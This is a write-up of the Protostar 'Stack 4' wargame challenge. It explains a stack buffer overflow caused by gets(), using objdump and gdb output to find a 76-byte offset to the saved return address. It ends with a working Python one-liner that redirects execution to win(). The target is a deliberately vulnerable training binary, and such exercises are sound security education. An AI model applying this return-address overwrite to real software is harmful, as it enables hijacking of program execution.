Our goal in Stack 4 challenge of Protostar wargame is again to alter the program to run the win() function. The source code is provided as follow:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf(“code flow successfully changed\n”);
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
First, we get the win() function address in memory.
user@protostar:~$ objdump -d /opt/protostar/bin/stack4 | grep win
080483f4 :
This time however, we don’t have a function pointer to overwrite. We will have
to overwrite the return address which will be written into EIP when the main()
function call finishes. Some more information could be found in the first write-up of the series. Knowing that the return address is stored at $ebp+0x4 address in memory, we first experiment with a bogus value, the infamous 0x41414141.
user@protostar:~$ gdb -q /opt/protostar/bin/stack4
Reading symbols from /opt/protostar/bin/stack4…done.
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
(gdb) run
Starting program: /opt/protostar/bin/stack4Breakpoint 1, main (argc=1, argv=0xbffff834) at stack4/stack4.c:15
warning: Source file is more recent than executable.
15 gets(buffer);
(gdb) x/30x $esp
0xbffff730: 0xb7fd7ff4 0xb7ec6165 0xbffff748 0xb7eada75
0xbffff740: 0xb7fd7ff4 0x080495ec 0xbffff758 0x080482e8
0xbffff750: 0xb7ff1040 0x080495ec 0xbffff788 0x08048449
0xbffff760: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff788
0xbffff770: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffff780: 0x08048430 0x00000000 0xbffff808 0xb7eadc76
0xbffff790: 0x00000001 0xbffff834 0xbffff83c 0xb7fe1848
0xbffff7a0: 0xbffff7f0 0xffffffff
(gdb) i r $ebp
ebp 0xbffff788 0xbffff788
(gdb) set *(0xbffff788+0x4) = 0x41414141
(gdb) continue
Continuing.Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Knowing that, we have full control of the execution of the program.
(gdb) start
Temporary breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.
Starting program: /opt/protostar/bin/stack4Temporary breakpoint 1, main (argc=1, argv=0xbffff864) at stack4/stack4.c:15
warning: Source file is more recent than executable.
15 gets(buffer);
(gdb) next
AAAAAAAAAAAAA
16 }
(gdb) x/40wx $esp
0xbffff760: 0xbffff770 0xb7ec6165 0xbffff778 0xb7eada75
0xbffff770: 0x41414141 0x41414141 0x41414141 0x08040041
0xbffff780: 0xb7ff1040 0x080495ec 0xbffff7b8 0x08048449
0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffff7b8
0xbffff7a0: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffff7b0: 0x08048430 0x00000000 0xbffff838 0xb7eadc76
0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848
0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x0804824b
0xbffff7e0: 0x00000001 0xbffff820 0xb7ff0626 0xb7fffab0
0xbffff7f0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
(gdb) i r $ebp
ebp 0xbffff7b8 0xbffff7b8
(gdb) p $ebp + 0x4 - 0xbffff770
$1 = (void *) 0x4c
(gdb) p 0x4c
$2 = 76
We start writing at 0xbffff740, and RET address is stored at 0xbffff78c
($ebp+0x4), the offset is 76 bytes.
user@protostar:~$ python -c “print ‘A’*76+’\xf4\x83\x04\x08’” | /opt/protostar/bin/stack4
code flow successfully changed